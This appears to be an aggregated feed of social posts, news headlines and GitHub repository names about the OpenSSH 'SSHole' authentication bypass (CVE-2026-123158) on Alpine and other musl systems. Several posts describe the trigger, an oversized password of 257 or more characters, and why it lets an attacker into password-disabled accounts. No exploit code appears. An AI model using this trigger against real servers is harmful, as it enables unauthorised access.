social infosec.exchange @cloud 2026-11-06 17:10 UTC🤖 CVE-2026-123158 (CVSS 8.1) "SSHole": OpenSSH on musl libc with PAM disabled (Alpine default) lets an unauthenticated attacker sign in to accounts with no usable password via an oversized password. Fixed in 10.6p2. Exploitation attempts s…Open source
-
social bsky.app @cyberveille-ch.bsky.social 2026-11-06 17:00 UTC📢 [VULN] CVE-2026-123158 : Bypass d’authentification par mot de passe OpenSSH affectant Alpine Linux Une vulnérabilité de haute gravité dans OpenSSH peut permettre à des attaquants distants non authentifiés de contourner l’authentification…Open source
-
social mastobot.ping.moi @cyberveille 2026-11-06 17:00 UTC📢 [VULN] CVE-2026-123158 : Bypass d’authentification par mot de passe OpenSSH affectant Alpine Linux Une vulnérabilité de haute gravité dans OpenSSH peut permettre à des attaquants distants non authentifiés de contourner l’authentification…Open source
-
social infosec.exchange @pentesttools 2026-11-06 16:52 UTCThree named bugs in three weeks? We’re tired too, tbh. 😅 So here’s a free # sshole scanner for CVE-2026-123158, the OpenSSH password bypass on Alpine and other musl-based Linux. It tries the login itself with an oversized password and runs…Open source
-
social bsky.app @pentest-tools.com 2026-11-06 16:51 UTCThree named bugs in three weeks? We’re tired too, tbh. 😅 So here’s a free #sshole scanner for CVE-2026-123158, the OpenSSH password bypass on Alpine.Open source
-
code github.com mc493 2026-11-06 16:03 UTCmc493/openssh-musl-enterprise--hardening-cve-2026-123158Open source
-
social bsky.app @shellsecrets.bsky.social 2026-11-06 16:01 UTCshellsecrets.com/articles/cve...Open source
-
social bsky.app @shellsecrets.bsky.social 2026-11-06 16:00 UTC🚨 CVE-2026-123158 (CVSS 8.1): A high-severity OpenSSH flaw could let attackers bypass password authentication on certain Linux systems, including Alpine. ⚠️ Exploitation observed. Patch now! 🔗 Read more below 👇 #OpenSSH #Linux #SysAdmin #S…Open source
-
social mastodon.social @117553158067583496 2026-11-06 16:00 UTC🚨 CVE-2026-123158 (CVSS 8.1): A high-severity OpenSSH flaw could let attackers bypass password authentication on certain Linux systems, including Alpine. ⚠️ Exploitation observed. Patch now! 🔗 Read more below 👇 # OpenSSH # Linux # SysAdmin…Open source
-
news thehackernews.com 2026-11-06 15:21 UTCHackers Target OpenSSH SSHole Flaw Within Hours of Disclosure, Gain Root on Honeypot - The Hacker NewsOpen source
-
social news.ycombinator.com kykeonaut 2026-11-06 15:20 UTCssholeOpen source
-
social bsky.app @tommiy-memo.bsky.social 2026-11-06 15:14 UTC#後で読む 用メモです→ 約10年間見逃されていたOpenSSHの脆弱性ssholeが発覚257文字以上のパスワードでログイン禁止アカウントを突破可能にOpen source
-
code github.com CriticalWombat 2026-11-06 14:52 UTCCriticalWombat/sshole_scanner-CVE-2026-123158Open source
-
social bsky.app @edelveis.dev 2026-11-06 13:56 UTCIMPORTANT!⚡️ SSHole (CVE-2026-123158) can bypass OpenSSH password authentication on certain musl-based Linux systems. BellSoft patched all supported Alpaquita Linux branches within 24 hours of disclosure. Upgrade OpenSSH and restart sshd n…Open source
-
social bsky.app @hapsis.bsky.social 2026-11-06 13:48 UTCOpenSSH flaw exploited in the wild just hours after disclosure (CVE-2026-123158) www.helpnetsecurity.com/2026/11/06/o... #Cybersecurity #LargeScaleImpact #VulnerabilityOpen source
-
social bsky.app @eventmonitor.bsky.social 2026-11-06 13:05 UTCOpenSSH Vulnerability (CVE-2026-123158) https://cyber.eventmonitor.net/incident/EM-20261105-CR0Y/openssh-vulnerability-cve-2026-123158/ #news #cybersecurityOpen source
-
social bsky.app @helpnetsecurity.com 2026-11-06 12:59 UTCOpenSSH flaw exploited in the wild just hours after disclosure (CVE-2026-123158) 🔗 Read more: www.helpnetsecurity.com/2026/11/06/o... #vulnerability #exploit #cybersecurityOpen source
-
news helpnetsecurity.com 2026-11-06 12:49 UTCOpenSSH flaw exploited in the wild just hours after disclosure (CVE-2026-123158) - Help Net SecurityOpen source
-
social bsky.app @undercode.bsky.social 2026-11-06 12:35 UTCOpenSSH Rushes Emergency Patches for ‘SSHole’ Authentication Bypass Vulnerability + Video Introduction: OpenSSH maintainers released emergency update 10.6p2 to remediate a critical authentication logic vulnerability tracked as CVE-2026-123…Open source
-
social bsky.app @infosecbriefly.bsky.social 2026-11-06 12:28 UTCOpenSSH emergency patches address SSHole (CVE-2026-123158), an authentication bypass enabling logins with very long passwords under specific musl+PAM-disabled conditions.Open source
-
code github.com shenxianpeng 2026-11-06 12:26 UTCshenxianpeng/check-ssholeOpen source
-
code github.com mlazzarotto 2026-11-06 12:06 UTCmlazzarotto/ansible-sshole-remediateOpen source
-
code github.com Hel1um17 2026-11-06 11:15 UTCHel1um17/sshole-bypass-openssh-passwordOpen source
-
social mastodon.social @linuxmint_hun 2026-11-06 11:12 UTCCW: biztonsági figyelmeztetés Az NBSZ NKI riaszt: OpenSSH sshd *sshole (CVE-2026-123158, CVSS 8.1) magas kockázatú hiba musl libc-t használó, PAM nélküli rendszereken (pl. Alpine). Hitelesítés nélkül be lehet lépni * jelszómezős fiókokba.…Open source
-
code github.com HackSpeak 2026-11-06 10:53 UTCHackSpeak/CVE-2026-123158Open source
-
social bsky.app @undercode.bsky.social 2026-11-06 10:50 UTCAI Cyber Threats, OpenSSH Authentication Bypass, and Critical Infrastructure Attacks: Global Cybersecurity Intelligence Update + Video Introduction: Modern cybersecurity has shifted from simple data theft to direct threats against physical…Open source
-
social bsky.app @news-it.bsky.social 2026-11-06 10:38 UTCOpenSSHに認証回避の脆弱性、パスワード無効のアカウントにもログイン可能 #ITニュースOpen source
-
social bsky.app @feilong76.bsky.social 2026-11-06 10:33 UTC“OpenSSHのパスワード認証回避の脆弱性 CVE-2026-123158 についてまとめてみた - piyolog” htn.to/4Z15ybLvQ2Open source
-
social bsky.app @etguenni.bsky.social 2026-11-06 09:53 UTC#security #SSHHole ermöglicht es ein beliebiges super langes Passwort (größer 257 Zeichen) einzugeben, um unter bestimmten #Linux-Versionen #Root zu bekommen (auch für Konten, die keine Anmeldung vorsehen): borncity.com/blog/2026/11...Open source
-
social bsky.app @it-connect.bsky.social 2026-11-06 09:07 UTC🛑 Zoom sur la faille *sshole (CVE-2026-123158) Sur Alpine Linux, un compte sans mot de passe peut en accepter un. N'importe lequel, s'il est assez long. ⚠️ Retrouvez plus d'infos dans mon article : 👉 www.it-connect.fr/faille-opens... #cybe…Open source
-
social mastodon.social @burso 2026-11-06 08:47 UTCOpenSSH CVE-2026-123158 (*sshole): Alpine/musl builds before 10.6p2 need a critical workaround. Upgrade to OpenSSH 10.6p2, or set PasswordAuthentication no until you can. # OpenSSH # Alpine # CVE # AIOpen source
-
code github.com Maalfer 2026-11-06 08:01 UTCMaalfer/CVE-2026-123158Open source
-
code github.com techdevfun 2026-11-06 07:20 UTCtechdevfun/alpinegateOpen source
-
social bsky.app @noritada.bsky.social 2026-11-06 07:11 UTC昨日から話題の「*sshole」、とりあえず読んだ。パスワード認証は、身近なところではさすがにもうかなり長い間見ていないから、身近なところでの影響はないと思うが…。 OpenSSHのパスワード認証回避の脆弱性 CVE-2026-123158 についてまとめてみた - piyolog piyolog.hatenadiary.jp/entry/2026/1...Open source
-
news gbhackers.com 2026-11-06 06:08 UTCOpenSSH sshole Flaw Allows Hackers to Log Into Password-Disabled Linux Accounts Using 257-Character Passwords - GBHackers NewsOpen source
-
news gbhackers.com 2026-11-06 06:06 UTCOpenSSH sshole Flaw Allows Hackers to Log Into Password-Disabled Linux Accounts Using 257-Character Passwords - GBHackers NewsOpen source
-
social bsky.app @crazyjarhead.bsky.social 2026-11-06 06:04 UTCwww.ox.security/blog/openssh...Open source
-
social bsky.app @dotbatman.com 2026-11-06 05:53 UTCSSH Hole CVE-2026-123158 nvd.nist.gov/vuln/detail/... sshhole.com «openssh on musl linux (alpine, openwrt, buildroot, yocto, and a lot of the docker images you've pulled) has had a little problem since 2016.”Open source
-
social bsky.app @girigiribauer.com 2026-11-06 05:35 UTCasshole 言いたいだけでしょ...w / 約10年間見逃されていたOpenSSHの脆弱性「*sshole」が発覚、257文字以上のパスワードでログイン禁止アカウントを突破可能に - GIGAZINEOpen source
-
social infosec.exchange @116769913619325742 2026-11-06 05:27 UTCOpenSSH CVE-2026-123158: on Alpine Linux, an extra-long password can log in to accounts that have no password at all. Affects sshd built without PAM on musl, password logins on. Fix: apk upgrade, then restart sshd. https:// suriq.io/blog/o…Open source
-
social bsky.app @suriq.io 2026-11-06 05:27 UTCOpenSSH CVE-2026-123158: on Alpine Linux, an extra-long password can log in to accounts that have no password at all. Affects sshd built without PAM on musl, password logins on. Fix: apk upgrade, then restart sshd.Open source
-
news gigazine.net 2026-11-06 05:11 UTCA vulnerability in OpenSSH known as '*sshole,' which had been overlooked for approximately 10 years, has been discovered, allowing users to bypass login restrictions on accounts using passwords of 257 characters or longer. - GIGAZINEOpen source
-
code github.com techtaek77 2026-11-06 05:08 UTCtechtaek77/sshole-guideOpen source
-
social bsky.app @tech-trending.bsky.social 2026-11-06 05:06 UTC約10年間見逃されていたOpenSSHの脆弱性「*sshole」が発覚、257文字以上のパスワードでログイン禁止アカウントを突破可能に https://gigazine.net/news/20261106-openssh-xsshole/Open source
-
social bsky.app @tech-invariants.bsky.social 2026-11-06 05:00 UTC約10年間見逃されていたOpenSSHの脆弱性「*sshole」が発覚、257文字以上のパスワードでログイン禁止アカウントを突破可能に ハッシュ計算の失敗を示す「*」が、パスワード禁止アカウントの「*」と一致し、認証が通ってしまう経緯です。 失敗を正常な結果と同じ見た目の値で返すと、比較する側はその失敗を成功と区別できなくなります。Open source